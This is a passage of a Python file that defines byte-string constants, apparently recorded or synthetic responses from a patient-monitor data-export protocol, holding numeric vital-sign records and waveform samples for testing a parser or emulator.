b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x08\x9e\x08\x66\x08\x30\x07\xfb\x07\xc9\x07\x99\x07\x6b" \
b"\x07\x40\x07\x18\x06\xf3\x06\xd2\x06\xb3\x06\x97\x06\x7f\x06\x69" \
b"\x06\x57\x06\x47\x06\x3a\x06\x2f\x06\x27\x06\x21\x06\x1d\x06\x1a" \
b"\x06\x19\x06\x19\x06\x1a\x06\x1b\x06\x1d\x06\x1e\x06\x20\x06\x20" \
b"\x06\x20"
rsp_wave_3_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\x60\x00\x04\x00\x07\x03\x5a\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\x50\x00\x03\x00\x02\x0e\x80\x00\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x36\x00\x00\x00\x03" \
b"\x03\x30\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2" \
b"\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef\x1f\xed\x1f\xed\x1f\xec\x1f\xeb" \
b"\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3" \
b"\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb" \
b"\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4" \
b"\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3" \
b"\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde" \
b"\x1f\xdf\x1f\xe0\x1f\xe2\x1f\xe3\x1f\xe4\x1f\xe5\x1f\xe7\x1f\xe8" \
b"\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2" \
b"\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc" \
b"\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x20\x00\x1f\xff\x1f\xff\x1f\xfe" \
b"\x1f\xfd\x1f\xfc\x1f\xfa\x1f\xf9\x1f\xf9\x1f\xf9\x1f\xf8\x1f\xf7" \
b"\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5" \
b"\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5" \
b"\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf2\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf2" \
b"\x1f\xf3\x1f\xf2\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5" \
b"\x1f\xf6\x1f\xf5\x1f\xf5\x1f\xf6\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf8" \
b"\x1f\xf7\x1f\xf8\x1f\xf8\x1f\xf9\x1f\xf8\x1f\xf9\x1f\xf9\x1f\xfa" \
b"\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfc" \
b"\x1f\xfd\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfc" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xed\x1f\xed" \
b"\x1f\xeb\x1f\xeb\x1f\xe9\x1f\xe9\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe5" \
b"\x1f\xe5\x1f\xe3\x1f\xe3\x1f\xe5\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe1" \
b"\x1f\xdf\x1f\xdf\x1f\xdd\x1f\xdb\x1f\xdb\x1f\xdb\x1f\xdb\x1f\xdd" \
b"\x1f\xdd\x1f\xdf\x1f\xe1\x1f\xe1\x1f\xe1\x1f\xe3\x1f\xe3\x1f\xe5" \
b"\x1f\xe7\x1f\xe7\x1f\xe9\x1f\xe9\x1f\xeb\x1f\xeb\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf7\x1f\xf9\x1f\xf9\x1f\xfb\x1f\xfd\x1f\xff" \
b"\x1f\xfd\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff"
# 4th group of responses
rsp_nu_4_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_4_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_4_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_4_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x01\x2e\x00\x04\x00\x07\x01\x28\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x01\x1e\x00\x03\x00\x00\x0e\x80\x00\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x01\x04\x00\x00\x00\x02" \
b"\x00\xfe\x08\x11\x00\x0f\x00\xa8\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x3d\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x49\x00\x49\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x40\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xca\x20\x92\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\x9e\x21\xbe" \
b"\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40" \
b"\x06\x1f\x06\x1d\x06\x1a\x06\x15\x06\x0e\x06\x05\x05\xfb\x05\xef" \
b"\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66\x05\x4d" \
b"\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91\x04\x78" \
b"\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05\x04\x01"
rsp_wave_4_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x08\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
